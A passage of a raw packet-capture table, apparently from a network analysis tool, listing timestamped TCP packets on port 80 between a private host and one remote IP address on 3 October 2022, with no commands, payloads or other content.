Oct 3, 2022 17:34:51.833828926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833848953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833857059 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833865881 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833884001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833893061 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833901882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833920002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833935976 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833952904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833954096 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.833971024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.833988905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834007978 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.834013939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834027052 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.834033012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834080935 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.834582090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834604025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834621906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834640026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834682941 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.834718943 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.834733009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834750891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834769011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834786892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834804058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834811926 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.834821939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834840059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834856033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.834856987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834887028 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834892988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.834904909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834913969 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.834923983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834940910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834954023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.834959030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834978104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834994078 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.834995985 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.835012913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835022926 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.835030079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835048914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835066080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835079908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.835083961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835103035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835120916 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.835150003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.835728884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835748911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835767984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835786104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835803032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835820913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835823059 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.835839033 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835851908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835855007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.835865974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835879087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835891962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835907936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835921049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835935116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.835946083 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.835979939 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.838330030 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.839675903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.231606960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.231664896 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.263897896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.263942957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.343344927 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.343393087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.343555927 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.360253096 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.360308886 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.392580032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.392621040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.456599951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.456653118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.456768990 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.465140104 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.465198994 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.497370005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.497406960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570056915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570110083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570137978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570166111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570193052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570220947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570240021 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570247889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570276022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570297003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570297003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570306063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570322990 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570337057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570358992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570384979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570399046 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570429087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570451975 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570458889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570487022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570502996 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570514917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570544958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570566893 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570571899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570600033 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570620060 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570626974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570655107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570671082 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570683002 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570710897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570724964 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570739031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570766926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570781946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570791960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570818901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570836067 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570846081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570873022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570898056 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570928097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570955992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.570967913 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.570982933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.571010113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.571026087 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.571037054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.571063995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.571078062 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.571090937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.571118116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.571135998 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.571144104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.571166992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.571191072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.616789103 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.616836071 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.616862059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.616890907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.616915941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.616933107 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.616933107 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.616942883 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.616971970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.616988897 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617002964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617028952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617032051 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617059946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617069006 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617089987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617113113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617140055 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617156982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617223978 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617263079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617289066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617315054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617331028 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617341995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617368937 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617382050 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617396116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617420912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617435932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617450953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617477894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617495060 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617505074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617531061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617558956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617573023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617582083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617604971 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617609024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617639065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617650986 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617664099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617691040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617714882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617716074 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617738962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617762089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617765903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617784977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617799997 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617808104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617830038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617851973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617873907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617878914 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617897987 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.617906094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617939949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.617940903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618016958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618041039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618066072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618092060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618097067 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.618119001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618125916 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.618145943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618159056 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.618210077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618307114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.618344069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618367910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618391037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618412971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618434906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618460894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618484974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618510962 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.618510962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618526936 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.618537903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618558884 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.618561983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618585110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618602991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618616104 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.618621111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618640900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618642092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.618660927 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618679047 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618696928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618714094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618720055 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.618730068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.618776083 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.619112968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619132996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619149923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619168043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619184971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619203091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619220018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619223118 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.619239092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619251013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.619256973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619265079 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.619277000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619291067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.619303942 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.619337082 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660048008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660098076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660125971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660151005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660176992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660204887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660234928 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660233021 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660233021 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660268068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660279989 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660293102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660310984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660329103 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660330057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660357952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660360098 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660386086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660413027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660423994 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660439968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660469055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660495043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660515070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660515070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660525084 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660553932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660582066 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660584927 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660613060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660634041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660640955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660675049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660702944 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660707951 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660732985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660747051 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660759926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660788059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660809040 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660815001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660841942 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660866976 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660867929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660896063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660911083 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660923004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660948038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.660965919 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.660974026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.661001921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.661022902 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.661029100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.661057949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.661072969 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.661086082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.661114931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.661135912 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.661139011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.661180019 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.663507938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663542032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663568974 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663598061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663614988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.663625956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663655043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:52.663671970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:52.663681984 CEST	80	49702	104.21.93.30	192.168.2.7
